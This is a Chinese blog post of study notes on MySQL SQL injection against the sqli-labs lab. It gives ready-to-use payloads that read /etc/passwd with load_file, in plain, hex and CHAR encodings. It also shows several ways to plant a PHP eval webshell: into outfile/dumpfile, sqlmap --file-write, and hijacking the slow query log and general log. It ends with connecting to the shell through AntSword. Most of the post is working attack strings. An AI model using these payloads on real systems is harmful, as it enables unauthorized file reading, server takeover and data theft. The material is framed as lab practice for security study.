SQL注入之读文件与写马

load_file读文件

https://www.cnblogs.com/lcamry/p/5504204.html

以less-1为例:

?id=-1' union select 1,2,load_file("/etc/passwd") --+    √
?id=-1' union select 1,2,load_file(0x2f6574632f706173737764) --+  √
?id=-1' union select 1,2,load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)) --+    √
?id=-1' union select 1,2,hex(load_file("/etc/passwd")) --+ √

写马

既然是写马,那就应该在该目录下有写的权限了:

chmod -R 777 /var/www/html

一般写马

要求:

  • 全局变量secure_file_priv的值为空:
show variables like '%secure%';
查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 
  • 网站目录具有写入权限

  • 数据库连接用户拥有FILE权限

    show grants for root@localhost;
    
  • 知道网站根目录

一般情况下如果当前数据库用户身份是root的话就可以尝试这种写马方式了,可通过select user(); select @@user得知。

select...into outfile...和dumpfile

https://www.cnblogs.com/lcamry/p/5504204.html

?id=0' union select 1,2,"<?php @eval($_POST['s']); ?>" into outfile "/var/www/html/test.php" --+
# 也可以使用16进制:
?id=0' union select 1,2,0x3c3f70687020406576616c28245f504f53545b2773275d293b203f3e into outfile "/var/www/html/shell.php" --+
# 也可以不用outfile而用dumpfile
?id=0' union select 1,2,0x3c3f70687020406576616c28245f504f53545b2773275d293b203f3e into dumpfile "/var/www/html/sql1.php" --+

1' into outfile '/var/www/html/shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'--+


sqlmap写马:
sqlmap -u http://192.168.40.1:8081/sqli-labs-master/Less-1/?id=1 --file-write="phpinfo.php" --file-dest="/var/www/html/phpinfo.php" -v 3

outfile和dumpfile的区别:

在MySQL中outfile和dumpfile函数都是用来写入(输出)文件的,它们的功能相似但存在差异
outfile可以输出多行内容,而dumpfile只输出一行内容
outfile会破坏文件原有的数据格式,如(\n会变成\)
所以如果想保持原数据格式进行输出的话,就需要用dumpfile代替outfile

慢日志查询√

set global slow_query_log=1 # 启动慢日志日志(默认禁用)
set global slow_query_log_file='<网站根目录>/hacker.php' # 修改日志文件的绝对路径和文件名
select '<?php eval($_REQUESTE[_];?>' or sleep(11);
用蚁剑连接

只有当查询语句执行的时间要超过系统默认时间时,该语句才会被记入日志

show global variables like '%long_query_time%'; #查询默认时间,一般是10秒

全局查询日志(general log)√

适用于into outfile被禁止或写入文件被拦截的情况

MySQL5.0以上会创建日志文件,可以通过修改日志的全局变量来getshell

show variables like '%general%'; #查看配置
set global general_log=on; # 默认关闭,开启后记录用户输入的每条命令
set global general_log_file='/var/www/html/1.php'; #设置日志地址,注意后缀是php
select '<?php eval($_REQUEST[_]);?>';
posted @ 2024-10-15 20:40  starme  阅读(11)  评论(0编辑  收藏  举报